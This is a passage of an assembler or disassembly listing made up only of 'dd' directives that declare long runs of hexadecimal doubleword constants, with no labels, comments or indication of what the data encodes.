		dd 1FFAC0Fh, 0D4A5F0Ch,	0F446CCB5h, 78446D3Ah, 17AD3C00h
		dd 2641880Bh, 0D168011Ch, 0B2BC4037h, 9F318746h, 6EF08092h
		dd 10C53A6Dh, 0F87FC83h, 5005380Ah, 9406E93Ch, 1059A12Fh
		dd 7CD3B1Bh, 0B937E071h, 0AC18C652h, 0AF305962h, 0E6862108h
		dd 8901Bh, 2969F6B1h, 331FADDCh, 0B02C98C0h, 679BBD3Bh
		dd 11491012h, 0FC4F26D1h, 303383Fh, 0AEEA4514h,	1510110h
		dd 0ED50C02Eh, 0ADD5C042h, 0F9878438h, 261A9400h, 0DFEA5D9Dh
		dd 0F5CA1C79h, 4A3B4D0Eh, 7DC89DF1h, 0A94CC20Ch, 6788186Fh
		dd 0A3A6842h, 0BC6D1E1Fh, 0D191CB59h, 0C05643CCh, 0A479420h
		dd 0EA01DD29h, 0CDB4369Ah, 9841FD3Fh, 40836C05h, 49370E3Eh
		dd 6727119h, 0C1104410h, 0E57E54E3h, 819C4F50h,	0CBF06F41h
		dd 18EC6169h, 0FA49680Ch, 0A0CF1200h, 802560AFh, 3207C53Ch
		dd 0AD5D99C0h, 0A8F42672h, 0B80D8Ch, 0D93C2371h, 81F3C3B6h
		dd 6E2CD603h, 1563B506h, 0E8490DBEh, 83C7C81Ch,	0E18CCB41h
		dd 0A10A7800h, 3F946A26h, 0BDFCA821h, 0BB8431E3h, 80AEF420h
		dd 2C433F69h, 3E729B5h,	0C5DC6DF2h, 980C04ABh, 48710A27h
		dd 0B1403B1Ch, 0C8C49F40h, 38011F7Fh, 0A83ADh, 6543906Fh
		dd 8758181Bh, 0FA05B9E6h, 0F424064Fh, 0CC7B79B7h, 8FE158h
		dd 8AB46715h, 12D5DFDCh, 20D43B79h, 0D76B6D10h,	0C0E53301h
		dd 0C320BBC1h, 856C5080h, 39CED0EAh, 94277F03h,	1BA226B0h
		dd 0A97469F0h, 52DF9014h, 35871054h, 0B68F550Ch, 51F11C89h
		dd 80C5E7E8h, 0DBF6CCD6h, 0F3A915h, 6A06B1E1h, 0FD5DC35h
		dd 9B402661h, 4BE03BB2h, 410C914h, 70B50002h, 10D36B02h
		dd 0E620678Ah, 1B4A0C5Eh, 150EDFDh, 3875F4A4h, 4820D130h
		dd 497EE7A5h, 22009C9Dh, 0C00592BDh, 0E26118CBh, 0F6F48950h
		dd 7AE23FCh, 0E33611F5h, 2858A08Ah, 0E200710Ch,	0D4596E82h
		dd 2477BF7Bh, 1F4DF51Ah, 0D0894EB1h, 40603A27h,	2C425EB7h
		dd 0E419BC02h, 40A1C576h, 7C7418E0h, 218C001Ah,	0F6DEFA01h
		dd 0FDF4B0F5h, 4E793700h, 0BB9D95A0h, 0D199001Dh, 368AF3CBh
		dd 89703A67h, 0F6052100h, 84323F54h, 34DE4C4Ah,	803561C7h
		dd 0F4046B25h, 7980C454h, 0B5663000h, 73DB704Fh, 0CFBB0099h
		dd 8DD4B3C9h, 0B5A294A0h, 0BCF40890h, 857239C0h, 108C6E5h
		dd 9384E9DCh, 24B4CBBFh, 32480E80h, 0D32181D4h,	0BC00E330h
		dd 0CF733B14h, 940C51D2h, 0F02F077h, 3C6CE95Ah,	9CA097A9h
		dd 22F38849h, 20122090h, 60309C1Fh, 7B92A979h, 0CB4800B3h
		dd 8732D9Eh, 0D41F2867h, 461BA06Fh, 43E4E238h, 53BD98ACh
		dd 844992Ch, 898043ABh,	0D53C0BA6h, 0CE317DFBh,	7C904B79h
		dd 0D3BBD18h, 4D0EBC18h, 0CC84403Ah, 1BB003C8h,	0A919073Dh
		dd 0C0378E56h, 123410F7h, 0DC657502h, 6051D108h, 7498CFC8h
		dd 20B28177h, 0BC3D2948h, 243059ADh, 4E1D40CFh,	3E1B9006h
		dd 753F3028h, 0C6E495C8h, 0D659ED01h, 18946C26h, 0A0F6A040h
		dd 29457848h, 80D48F38h, 5601FAEEh, 0D202B365h,	0AF892764h
		dd 0ACC0A011h, 2EF7E9BFh, 1D0A2h, 494BC213h, 3B0B04BDh
		dd 21B47EC9h, 6F6D5F4Ch, 42769A01h, 7227D9F0h, 0C842BD87h
		dd 1004CBCEh, 3598FE0h,	8B559A05h, 0B49140AAh, 0F041E107h
		dd 6180FAAFh, 88A314A8h, 0E6012609h, 27DBE06h, 0E1CCF575h
		dd 0FA100521h, 9D4A4A7h, 6420F3BCh, 2AF08AA2h, 8028AF48h
		dd 19AC733Eh, 0BDA009F9h, 0F82294AAh, 0B621B4E1h, 0A98547BEh
		dd 2B3A59Eh, 2B03AD4Ch,	90D3C080h, 249F878h, 4CCF2C00h
		dd 3320C8A0h, 69262A43h, 612E3D3Ch, 786FB3Eh, 382223BFh
		dd 501B7F33h, 37DF998Ch, 0EAB53880h, 0A9E5D7C6h, 95507500h
		dd 94858BCAh, 0C1E8A8E9h, 0BCA024D3h, 0E4CB142Ch, 5F92097Ch
		dd 0E4263FE5h, 3300C137h, 55C9F79Dh, 3BCC5B26h,	0AF004C25h
		dd 9C628AB8h, 3F076C5Fh, 7D0CDEEAh, 833D5930h, 2C0DE013h
		dd 40DC62E4h, 0D7EBE87Fh, 8A16101Ch, 856BFEC0h,	0D80FC63Bh
		dd 26EA38E1h, 58E40E2Eh, 43000D11h, 88CFD48Dh, 98921C1Bh
		dd 1E40A890h, 74865855h, 1F6C1393h, 20A42A75h, 1C242B3Eh
		dd 0F6B9245Ah, 0E2FE3C00h, 56EF0FC0h, 1D68001Fh, 577B3B62h
		dd 79C05061h, 73EE85Ah,	0E61A0464h, 0C15BEE13h,	1F2EE4h
		dd 1E2F909Eh, 0C642D4A9h, 0B6BDA575h, 0E4F9EF2Ah, 442B9810h
		dd 45CAFA78h, 8DCC6007h, 0E0F64E41h, 62BF5FE8h,	0D1721065h
		dd 0C8B65CA1h, 26918166h, 54DD400Ch, 2039D052h,	2998C9B4h
		dd 67E2E800h, 5C321B86h, 0CE62026Eh, 0DE3BCBA6h, 0CD70A4E0h
		dd 84A1DEFDh, 0D807C738h
		dd 0E8020E1Dh, 4ECE5B92h, 7B5B4069h, 0CF910539h, 48242380h
		dd 6E87BAA0h, 56862758h, 67BE1D11h, 0A141C0CBh,	0AB7EDABBh
		dd 0FC59DF0Eh, 0DEB1E0F2h, 1F67BFFBh, 0C26D48B8h, 0DD1CDB1Fh
		dd 24403C42h, 0C61F761h, 0F31B9BC8h, 0D99E38E1h, 55420002h
		dd 37F4C051h, 10FBF05h,	49802420h, 5D8E7C3h, 5842F0AFh
		dd 4C8C33Bh, 0F893591Eh, 0D980C306h, 0FCBA2410h, 0C8F00878h
		dd 42731800h, 29B58577h, 20B054C6h, 74912EC4h, 0DC4442F0h
		dd 80276C00h, 3131F9Bh,	2B5133Bh, 2F0EA50Ch, 0BB10D466h
		dd 5208D0C4h, 4D80421Ch, 501E6E14h, 0E347007Bh,	33E12604h
		dd 2E01D793h, 142743BAh, 0F4747140h, 0E81043Fh,	0C0A50130h
		dd 9046EA40h, 0C4277728h, 0E3E48303h, 0C80C7873h, 0F0AD3BCEh
		dd 91489013h, 1C0F0A30h, 5E201608h, 3546A80h, 0ADBDBB9Ch
		dd 0C4C88C0Eh, 0B8181B79h, 0B54045E9h, 9B294037h, 0F75D7090h
		dd 0BB21066Ch, 9E0C468h, 0C3C53BE5h, 12AF2040h,	6766C92h
		dd 53023500h, 0F6CEFA0Bh, 242F480Ah, 38C13330h,	84BA8FC5h
		dd 87256F73h, 0C794234Dh, 0AEC4C7FEh, 94E44B4h,	5C64D991h
		dd 434C8404h, 2CEB9049h, 13548D39h, 0C76107F4h,	0C8E286CDh
		dd 127C3400h, 0E1054058h, 928603C2h, 57F18C03h,	875326C1h
		dd 0A5D3E738h, 0EA861D10h, 11A3002Bh, 93BCD147h, 20E98DC9h
		dd 0A4004D6Bh, 65D7E28Fh, 14A8334h, 2C447115h, 71C92292h
		dd 6050F3E5h, 0D100133Ch, 0C64A35DCh, 6C78CC3h,	628209AEh
		dd 0CD00C151h, 0E62E6619h, 0E4A871h, 0CAC19B6Bh, 0C8C5690h
		dd 0B3F2C912h, 64013409h, 579920D8h, 6A6122h, 0B4344BCEh
		dd 3B7D1659h, 0C03C2A00h, 0B6F943D9h, 674E0021h, 1DBA8134h
		dd 2892C11Ch, 0BE5FD101h, 1B3DEBC5h, 58019E4h, 34FB1AE4h
		dd 780438E8h, 808D88h, 44D2901h, 2F66759Eh, 97F10A03h
		dd 3274298h, 96DB3518h,	400F15F9h, 0A005B2BDh, 72221E78h
		dd 1459C0FFh, 6BC60AFAh, 0B61FA079h, 91009FFEh,	42F4D13Fh
		dd 60B8E4D6h, 965D3812h, 4D3EEE2Ah, 71E51E11h, 1075640Dh
		dd 0F2300Ch, 90E86F3Ch,	914317Ch, 0E553D50Fh, 0F0A620EBh
		dd 3F9A043Dh, 0B86F6875h, 0C9D5E9Fh, 0F0103B2Eh, 13FCFF00h
		dd 68507606h, 88DF0017h, 0A01F3ABFh, 29C3A275h,	416CF15h
		dd 0E695BCC8h, 4E08C38Ah, 7DA2D6C0h, 0A8905A6Ch, 4082898Ch
		dd 0ACD6EB9Eh, 2B076C3h, 0A09014E4h, 7E8208A7h,	0B8851B74h
		dd 41328667h, 20ADEBF1h, 0A06ED7C8h, 91A9AD30h,	60B29A2Fh
		dd 4BF47979h, 0AD3098DAh, 61A21A5h, 41E960B2h, 3A9AFAA7h
		dd 8F187850h, 0E066B82Ah, 0DE3F9801h, 0FE751CD6h, 77F27180h
		dd 7C083A6Bh, 3E14C100h, 0F0D5FC15h, 0F7AB0FFBh, 4158B0EAh
		dd 7114A6F6h, 1903538h,	0B2A5D123h, 0B6F8960Eh,	106101DEh
		dd 0EB352126h, 91984227h, 102E6722h, 79447DFFh,	68712A30h
		dd 0A01B18B8h, 6C9F4844h, 0A800E2E8h, 33819A76h, 1BFE9232h
		dd 0B9187F73h, 0C822C9A3h, 2D900016h, 6C8D673h,	61CCC698h
		dd 54B210E6h, 6E90F5h, 96C73D15h, 0E7FF9A1Bh, 0A8D518DCh
		dd 190EB128h, 0E12818A1h, 8417BB07h, 0E8328058h, 64E29E00h
		dd 0D71D8709h, 0DB0E19DAh, 94401295h, 8322381h,	40C856C9h
		dd 83F50A84h, 391CFDBCh, 9040C06Eh, 24700BFEh, 4841E73Eh
		dd 44246AD1h, 31FC68A2h, 615DC3Ch, 0AA4CA97h, 0D492D70Fh
		dd 274458AAh, 4434A5A1h, 22002FB1h, 0C5C0CE8Fh,	0B195FE7h
		dd 52D112D1h, 2F0C820h,	6F72FD90h, 488E9473h, 0D1B2BC95h
		dd 661C1836h, 0FB1D61CDh, 0F8202968h, 2DA85439h, 1B398EF1h
		dd 55615999h, 10B85442h, 9780D5A6h, 0DB2C09D3h,	94201AA3h
		dd 54E6D69Ah, 0F848200h, 4951AAEAh, 0ABB22671h,	702A18h
		dd 0D0F5C427h, 0E3B10619h, 0CA6781C7h, 20CAA097h, 0BC219FC5h
		dd 84EE03A4h, 9C93C0A0h, 3608009Dh, 0FB12A5F6h,	1149106Eh
		dd 4C71810h, 92E498h, 18C0DE8Ah, 0CB4DF88Fh, 60F5ED00h
		dd 0E7E6C4A3h, 3729868h, 0E8631C1h, 0A280AA59h,	6F00BDC3h
		dd 8AB88066h, 0E756C9E3h, 9E4BC0h, 0D1EF21FFh, 9DDE33C5h
		dd 31EB7B00h, 3E2A902Bh, 751400A9h, 746DBDC4h, 40C1B587h
		dd 15DE56CFh, 18FFD3CCh, 949FF32Fh, 0B200A372h,	0D9777D8Ch
		dd 60BA3DFEh, 3A839CBFh, 8AE89B74h, 0BCDDA00h, 0D35015DDh
		dd 2374B111h, 0A0FA5504h, 0CCAD7F8h, 560724F3h,	0FA2400D8h
		dd 0EA18B89Dh, 5EF16000h, 2C4B0683h, 0D2A92650h, 36BD03F4h
		dd 9BF88A73h, 40C0C9EFh, 0B8904E01h, 0CB28002Fh, 0A37723C0h
		dd 913E6FA4h, 18F69F03h, 2CC573C0h, 106042C7h, 489ED8Bh
		dd 5B02F4EAh, 0A6281900h, 0DE001DC3h, 87639EA3h, 12D90Ah
		dd 0A9D2CD1Bh, 6065F268h, 9C0083B8h, 0F4DD8BEEh, 2904106h
		dd 0A56D23EFh, 386127C3h, 0EB942235h, 2AC00DA2h, 5C002CD9h
		dd 2821FA9Eh, 1DC0D8h, 5799A3EDh, 0FE897791h, 3ED44F38h
		dd 6EF780A6h, 9D83C659h, 0DC905D8h, 0C10EF8D6h,	0ECEFF542h
		dd 0A90018E6h, 8E684A92h, 398834h, 0B1D0B0C5h, 5A54C2B3h
		dd 9C03F1E6h, 0DB0BC7D8h, 0EB4000F7h, 0C0D266F5h, 6000A91Bh
		dd 5948B96h, 5C6BF4h, 0BB75BCD4h, 868954C6h, 4A9E8300h
		dd 158F0BE4h, 0EDA0070Fh, 12D2F52Eh, 8CCDAB1Bh,	0A197405Dh
		dd 5638C0D6h, 9E4000D9h, 0A70425ECh, 0ABE702D5h, 8A8D45A3h
		dd 0D34CFA00h, 727F4B9h, 876681BFh, 0C00CE084h,	4300D611h
		dd 1CD1CF64h, 0BDD7F8h,	0B5688527h, 8F098296h, 0CD586B07h
		dd 7910B3E7h, 729A678Eh, 0D44A00F8h, 51F6DE0Ch,	2907BC9Ch
		dd 0E6EAA228h, 5E67A320h, 0DA040790h, 0A05A6Bh,	44C2BAB1h
		dd 0B58B6800h, 0E6F4A88h, 0F1407F3h, 6031B8AAh,	0EB1DE864h
		dd 96A5A60Bh, 4AC049Ch,	0BD2BCC40h, 0C0525A53h,	0FF044688h
		dd 470053ECh, 3FFD455Bh, 2671C59h, 663B276Bh, 3495C4FBh
		dd 0F1407160h, 17D5004Fh, 45011C66h, 0E904DB67h, 351EC508h
		dd 0F20D128h, 7C0400E5h, 0D7AB27D8h, 1A0065A0h,	8FF10A2Ch
		dd 11E7FFBBh, 218A34Ah,	73D720D4h, 66C0F89Eh, 21220995h
		dd 0D718740Eh, 97F460F5h, 0E01E98h, 4535043Dh, 106A9A11h
		dd 778173Eh, 650A66E8h,	0A06D687Ch, 0EA7E5D4Ch,	7B4A5C3Eh
		dd 421F880Ah, 162CC41Ch, 536044C9h, 76430083h, 72C7EB1Eh
		dd 6BF84E0Dh, 59E77D30h, 0F8DA4208h, 0DF570C71h, 0E5096930h
		dd 4A2821C0h, 5BB4A6DAh, 0C4E84072h, 0B93F17ACh, 0C16E0700h
		dd 9DF10F71h, 0B65FA8h,	7E6FF5D0h, 88F11FECh, 8506A0E1h
		dd 0F07D7F1Bh, 0E72BFEA0h, 4A01A454h, 449E75D7h, 7288C918h
		dd 2AD70022h, 0D356E80h, 0D21F9F70h, 0A700A654h, 9E670F2Fh
		dd 45D35F4Ch, 41A974F4h, 0E2801988h, 16BC40E1h,	3150A18Dh
		dd 1D00FAE8h, 8207486Fh, 0C439B2h, 0E9691E77h, 8F360EAh
		dd 98A87CE0h, 0CA07831Bh, 0C86F65ABh, 49040449h, 74D72160h
		dd 3D1C9E23h, 190055C4h, 5CFFB0D7h, 0DF5A2696h,	1735DFA8h
		dd 0DB609072h, 4101A70Dh, 16145984h, 898717Ch, 63C212Dh
		dd 93F7A700h, 0D0866FA1h, 6B48CEB8h, 548F84E0h,	1700710Ah
		dd 769E95DFh, 91EA774h,	1D5A809Dh, 5D003858h, 0F109DE2Eh
		dd 76B8Ah, 0E6064022h, 0EEC8F52h, 304A203Eh, 7DCC1015h
		dd 892F0h, 30D4F79Fh, 1E749BACh, 71F92112h, 936ED8A0h
		dd 0DA4B072Ch, 625FE40Ch, 533320E2h, 0C0026BDAh, 0DA2D692h
		dd 10104309h, 0BC18D0h
		dd 0F0DCF19Ah, 49D007FBh, 0BA00D417h, 911FD871h, 0F425D177h
		dd 0FD746199h, 4A572188h, 8A98D000h, 1D30E96h, 88FE8C5Bh
		dd 0B25D1DB2h, 3070B068h, 9CA1DA4Dh, 0E35848EFh, 0F553588h
		dd 0D08C09DAh, 0D56F1240h, 0E930A20Ch, 8F185002h, 0EFCE24B0h
		dd 580F0130h, 22980654h, 4A1E06E0h, 71125A4h, 7416E417h
		dd 23200015h, 73016E2Ah, 0E3EC0F5Eh, 0A091A4EAh, 0DA408049h
		dd 8C47710Fh, 260D44h, 236ADA48h, 0FFBAD3D9h, 0BB412100h
		dd 9F19F156h, 0B0EB3DC0h, 1A8BD28h, 0B52ECF95h,	20F9E130h
		dd 48C1740h, 843FA70Fh,	21386209h, 20A7085Ah, 0AA009EAEh
		dd 1FCF6012h, 0DF4138Fh, 0A489B75h, 0C1C81776h,	20062EB8h
		dd 0D200B53Ch, 1665ADACh, 75A2B69Fh, 0CD6F8047h, 180D7118h
		dd 6DBA35Ah, 859DED33h,	0B8C95129h, 77043061h, 914D11D8h
		dd 87058827h, 50D87055h, 0D049FC1Bh, 8CC4154Ah,	3E481087h
		dd 4A75337Eh, 4689AF31h, 98A8800Fh, 0B20615C0h,	47B0AA26h
		dd 60E0449Ch, 3BD4EF8Dh, 9C29FFBCh, 0A01D03B0h,	797BA2CAh
		dd 0C92A379h, 12CFAD01h, 74DD1EC3h, 2485DF20h, 13D4E4E1h
		dd 68A40440h, 6623315h,	818D9F39h, 0FA0428F9h, 239C4A04h
		dd 7C85EB03h, 0EE34C9B4h, 11A70B30h, 8829844Bh,	643E8030h
		dd 12E470A7h, 73786901h, 1C1F761Bh, 8C477C30h, 7251D7F6h
		dd 817C23AEh, 50D71757h, 30C082CAh, 74D06633h, 0D890800Bh
		dd 0C0C2B50Dh, 0BDF08193h, 0A7526ADh, 428484D4h, 9614C818h
		dd 0C4B73020h, 1306A418h, 0BE19EF00h, 0A0E6FE5Dh, 0F1809188h
		dd 0B8917C35h, 0D74B8053h, 8C6C9E76h, 73C844h, 284CD723h
		dd 0A985019h, 0B02C6900h, 81EBE8F3h, 95B21DAAh,	4A88F210h
		dd 20113097h, 308E7A8Bh, 0F2002D68h, 8D538A09h,	0B4085849h
		dd 69107100h, 65DEDF27h, 48C0D554h, 0D71E048Ch,	38249E71h
		dd 0D7160056h, 0EBEC9A92h, 85972290h, 0C08BFFE0h, 0CCC322C8h
		dd 97B0B004h, 94D94E16h, 15A18204h, 0FAEA90E3h,	98AC8468h
		dd 6246DC90h, 4AD87402h, 1314F91h, 0D86D6410h, 9D9E3Bh
		dd 7C3B417Ah, 2E7DBA7h,	9670FA95h, 0B889C68Ch, 11875C37h
		dd 0FD50D1EBh, 0F0401C87h, 0AD980878h, 0FCA803F5h, 7F00D2F7h
		dd 39B8657Ah, 0E6989129h, 4DF6D8E5h, 84A1A26h, 10DA3FC0h
		dd 2063E971h, 0DA472780h, 4F2C9465h, 0A15C002h,	80E400F8h
		dd 44CF7C2h, 2080B072h,	49FA3510h, 6C90DC70h, 0E490D04Bh
		dd 91513D8h, 1F991B9Eh,	5B22107Ah, 92040B17h, 3804F42Bh
		dd 0D7904021h, 762D29h,	486EB3CBh, 3F74CCC2h, 97FD1700h
		dd 0DC95D4EEh, 6F8A89Fh, 7A01352h, 0FBEC005Bh, 0DA9C6E6Fh
		dd 8678744Ch, 7111D0h, 1595AAFEh, 7A3DA16Ah, 1EA42118h
		dd 28E7B79h, 6C956F14h,	19E1A9C0h, 846342h, 22A13E92h
		dd 5945EFh, 6D79CE55h, 705364FFh, 85AC900Ah, 919ECC05h
		dd 14EE4209h, 0EFA00138h, 0D63FAAACh, 6DD430E5h, 0DA4C058Ch
		dd 3867710Bh, 540732CCh, 0F543B4DAh, 9D8DA0D0h,	38B109h
		dd 4051B695h, 0E2504881h, 58C6C30h, 710EDA41h, 174CE4Fh
		dd 54DA4929h, 0FC3018EBh, 98970C9Eh, 16C8E77Ah,	0A195DB16h
		dd 0DF6F0C20h, 0B2820170h, 1E77B8E5h, 0CAB448D1h, 0C9881D1Dh
		dd 0FA921747h, 264BA4E3h, 5E3CFE89h, 32032346h,	0A411A138h
		dd 0BF0019D6h, 73CD6546h, 729EE68Dh, 3D17589Ch,	991C580Eh
		dd 0F36729D8h, 0EEB04A61h, 7C33ABD7h, 0E30CEA2h, 24BE014Ah
		dd 56FBC9Ch, 0EA62E87Ch, 0EF122171h, 0F442307Dh, 6A79A2D6h
		dd 0E434E5FCh, 0CED60E1h, 4E1F1E93h, 0D448060h,	78632A7Eh
		dd 139A490Ah, 8113C435h, 98D428E0h, 30194CF0h, 8C31E8h
		dd 0A1CDEDE7h, 497D27FDh, 54D2490h, 0D8738080h,	8C479121h
		dd 38590244h, 0D484D86Ch, 9887A523h, 1403C3E4h,	7E6DE0B9h
		dd 0B981D515h, 98D87C96h, 0AD7D2668h, 0C1E41217h, 0C255084h
		dd 9461DDF9h, 9F81E482h, 63D6F0A1h, 33C8A204h, 5583ACB8h
		dd 9F6E4407h, 6581B484h, 0A0222CAAh, 2C7C0629h,	911E05C8h
		dd 1D8CE6Fh, 83D84958h,	74CAA467h, 88C26B0h, 910E3532h
		dd 9C809388h, 4A6675F4h, 0C134342Bh, 1113AF4h, 0A3E87E13h
		dd 2675259Eh, 74C42008h, 0C818E1h, 0DD61F91Ah, 6913C410h
		dd 1360C13Fh, 64304B58h, 0B794BCh, 3C873B51h, 0D4408396h
		dd 900995EEh, 9DA4ECF5h, 81E5114Ch, 7C1C644Ah, 58845D3Bh
		dd 0E3D921F2h, 0CB064500h, 4D688D83h, 369716B1h, 152409F6h
		dd 463B549Dh, 7BAD4C01h, 0D4E8C62Bh, 0CF039609h, 0F6BF235Fh
		dd 711480EFh, 0CA242486h, 0B3060A2Ch, 9E6F0348h, 18261768h
		dd 4E15D01Ch, 0F58F01BCh, 97219A4h, 529424h, 22A2C805h
		dd 0E2C9A860h, 0E9784100h, 7ACB01B5h, 1F05032Ch, 0DA7D6B3Fh
		dd 8D176103h, 0B8C1BC96h, 0F65FCE3h, 0FA7B8393h, 5B1C6EE1h
		dd 40DC501Bh, 0E92CA572h, 8840A48Dh, 805D2DB2h,	6B484982h
		dd 0CA470110h, 0A2B6F49Eh, 56000069h, 7292E107h, 81012F85h
		dd 0B0EB1FADh, 496A119Ah, 2C4056D4h, 0D421888Dh, 18CDF13Fh
		dd 9FEA0031h, 17C20F85h, 0E00FCA8h, 0C64FDAEFh,	4048965Dh
		dd 0AC246B5Ah, 20387099h, 55EEEA1Ch, 5C2408E3h,	0A24412D6h
		dd 0C8F48BF9h, 3C0AC034h, 1502AE88h, 7E75BE3Dh,	550E519h
		dd 0A492DB5Ah, 96001D04h, 0FD5123A7h, 2CBBD90Eh, 4058CFFAh
		dd 0AD1C4EC9h, 51C22A0Fh, 21A36593h, 730B8043h,	0C8E7CB54h
		dd 3E66BFB5h, 20807AC8h, 11E4C317h, 0AD0158B3h,	72C16F13h
		dd 0DFF46910h, 66850729h, 0B5659E0Dh, 0FC403FEh, 16AC4AB8h
		dd 0B50181Fh, 9ECCA702h, 206879ADh, 0C809808Dh,	8304FA42h
		dd 40FDEA2Ch, 16E9D40h,	0FCB31CF5h, 6878AD10h, 0B2840464h
		dd 1C811421h, 416B96DBh, 0C0AD1BB8h, 98306BF9h,	0A0B08F35h
		dd 92F47D44h, 0F151045Ch, 84DB9B29h, 8DB84E82h,	0DB8F1827h
		dd 246FB890h, 35B1371Dh, 0E317D066h, 6720B422h,	601444A4h
		dd 5A1BFF18h, 0E254907Eh, 36258448h, 0A0009852h, 818CACA2h
		dd 7470D4B8h, 0C2D80569h, 41DB96Bh, 118AD84h, 0BBA47E71h
		dd 8702F468h, 0C9E095E9h, 0A1991D01h, 0F2A68441h, 0A9836080h
		dd 45B10616h, 0F92480B5h, 0C5BE5494h, 0B0E6A430h, 8D149D04h
		dd 5C8DD3Dh, 14F2908Fh,	0EF7EA404h, 627AC140h, 0E700D3ADh
		dd 3CA1ACF8h, 28B2966Dh, 2AAC2C9Ah, 2B00172h, 8C8DF4DEh
		dd 0BAE06943h, 0E6166C27h, 88403485h, 0CAAB1C72h, 0E46A2D9Ah
		dd 801BA0A2h, 420A5C52h, 0F8ED71EBh, 67E48282h,	0D0A4C92Dh
		dd 0DEECDB14h, 0F8FAA380h, 3CFA741h, 74E3C696h,	82DCE758h
		dd 0A3022DCh, 844C11A7h, 83378801h, 21A7633Dh, 0A1D42AF8h
		dd 8F0166F4h, 8DA06E23h, 1C3CE075h, 404CA858h, 138CE2E8h
		dd 82E4CA4h, 0EB89E8F4h, 0FCC06885h, 167C4A69h,	23743B54h
		dd 5EC900FFh, 0EF2207C0h, 6E4F9404h, 0DCD03086h, 0B5287ED4h
		dd 7DE95480h, 18D22064h, 39863088h, 0FF00530Dh,	0C909073Ah
		dd 80BC24B3h, 0B84A8482h, 20FC7A1Bh, 3E15A10h, 2F895AAFh
		dd 12330h, 2E580A63h, 91043C4Ch, 0DB4B65AAh, 689DE7C2h
		dd 1882049Ch, 39F6818Ch, 8A24B891h, 0B5048CE6h,	2F0A722Ah
		dd 8FDB85ACh, 6A5C02FDh, 0D0051698h, 516C88h, 68AF402Bh
		dd 3EE0AE65h, 0B2873600h, 6F96957Ah, 140C5E7Eh,	252DD204h
		dd 54595C12h, 1B18E559h, 71543600h, 0D9256AB5h,	8E74311Ch
		dd 240A7289h, 0FE0FC740h
		dd 88C2D1h, 0B23D3C31h,	48091DFFh, 9103FF45h, 571ADDBh
		dd 0B5663102h, 8076114Eh, 3AC081F2h, 0E253043Fh, 0A2641FD7h
		dd 3033F2B8h, 0DE1D04FEh, 4A04A2D2h, 0D8D0FDE4h, 0E85DF1ABh
		dd 90405995h, 0E8E7A409h, 18459869h, 78D7094Dh,	58653C9Eh
		dd 0D7257180h, 1DF50EEDh, 6C8F3F54h, 0F2A08C8h,	0CC019C24h
		dd 0BD84284h, 0BCC0809Dh, 0BB65A204h, 90409177h, 88C828CBh
		dd 7C0481B3h, 0EE3DE087h, 0CC79ACD1h, 0AB0ED118h, 60BA3B96h
		dd 10951BCEh, 2DCB319h,	34A67161h, 2379BCD0h, 5DAF03Fh
		dd 0A4481814h, 441CE4B9h, 0BCB50291h, 0FC4C29DBh, 1B421E03h
		dd 904A4915h, 3FF91Ch, 9948F673h, 3567D10Fh, 0DBB88502h
		dd 71ABEB33h, 46B028DCh, 0D8720264h, 0C73F9120h, 6B5A0760h
		dd 517602D8h, 0B2C3AC85h, 0A8F70F90h, 0D9E6406Dh, 1F961CB3h
		dd 0BA5ACAEh, 0F4803F1Fh, 1E1BF4D7h, 465EA0BCh,	0B85312E5h
		dd 0F37D1506h, 0DDE10019h, 92E77C5Ah, 5D301C9Ah, 0B017A925h
		dd 53DF5AE6h, 0C67C08A4h, 0A50844ACh, 1E183035h, 98804CF9h
		dd 337D2D1Bh, 0FAB9DC90h, 18DCC982h, 0A7480C18h, 0DC712E24h
		dd 3C653B70h, 170039A7h, 6883DD29h, 801AE3D0h, 0DC70F8FEh
		dd 6B5ABCD8h, 0A38705F4h, 4C6BFA94h, 0DAB01001h, 2CD95364h
		dd 0BD0220E4h, 0A07B5C91h, 0D7528931h, 7A9900B8h, 6DB4AD41h
		dd 2761007Eh, 0FE604574h, 0C2120867h, 0C8026A6h, 3A206573h
		dd 16006BF9h, 0B6BD9204h, 7E5F0C1Bh, 0A02CC493h, 707525h
		dd 0DB7FBC55h, 657A0374h, 1CF2D538h, 420E609Dh,	0C9824C4Dh
		dd 7450D56Ch, 73AF089Bh, 82C0200Fh, 8F155235h, 0E9C9DF5h
		dd 59F426Eh, 54F21FFDh,	0AE3101F2h, 0EC425F0h, 0A01CB00Dh
		dd 0ADD6F020h, 98A48EDBh, 0C96F1D0Fh, 51A282EAh, 76645423h
		dd 4913E546h, 483C1FEAh, 65A5BCEDh, 80716F68h, 0A8EB43E0h
		dd 7E650056h, 0E5763D8Eh, 0D04EFF91h, 0DE23402Fh, 3899E00h
		dd 71F39E0h, 0C53D91CFh, 82A074E5h, 28670456h, 0F860FFC4h
		dd 0BD70F5A2h, 908AA10Bh, 0D6D00748h, 13693540h, 26D826AAh
		dd 0B88F0268h, 0EC601246h, 1B27A820h, 9EC0207Fh, 4EB0EBEAh
		dd 0E08165Eh, 501001B4h, 0E7CB2BCh, 75E51286h, 97F04156h
		dd 7F0D3698h, 0A413EC23h, 2523B014h, 3DA70900h,	9713F984h
		dd 40010014h, 0B194A762h, 42B190Ah, 14CFB3Ch, 1BD88D11h
		dd 65109C69h, 866F0401h, 0C8B921ACh, 0CC081410h, 2F9DB125h
		dd 0B88C1585h, 249A9EE8h, 1C7E130Bh, 2284F887h,	0B11009DEh
		dd 304C19FAh, 30BF7C14h, 840AAC10h, 925DD080h, 0F0CB266h
		dd 3265ABF5h, 21D5CA4h,	5564C296h, 7CE4691Ch, 0AA50BDFFh
		dd 74445807h, 2888D87Dh, 502E69E0h, 813B0663h, 80993FA4h
		dd 0C830D73Ah, 28286018h, 0DC218515h, 3C0570D6h, 0D0976DA1h
		dd 8EC6301Ch, 61DD7C30h, 0DE26DBh, 0C066722Dh, 134D2EA6h
		dd 0E2509903h, 0D8831C71h, 175DE606h, 0CE0B288Eh, 0C034C850h
		dd 0EDEE2E2Ch, 7D38B70Ch, 2981D6h, 7EA6B0E4h, 94D59DD9h
		dd 0D8E83F00h, 32D3F142h, 5C40C5Ch, 1660976Ch, 60B7709h
		dd 41C012B2h, 0A6DDED58h, 4AB85C2Dh, 0A7BAB009h, 72B48015h
		dd 0E499F05h, 84565C5Dh, 7FB1F440h, 0A0A2D66Ah,	7C039840h
		dd 3170A801h, 4D759A88h, 0E4E25833h, 4ADB0930h,	82904298h
		dd 3C5805A2h, 0C48DF12Ch, 16D88425h, 0E2F278A2h, 48036630h
		dd 0B70340A9h, 0B99F902Ah, 0CA5C80EDh, 312F3C91h, 80F8B54Eh
		dd 0A6EC2982h, 0BF0EE470h, 76D1190Dh, 1FD584B4h, 1099A33h
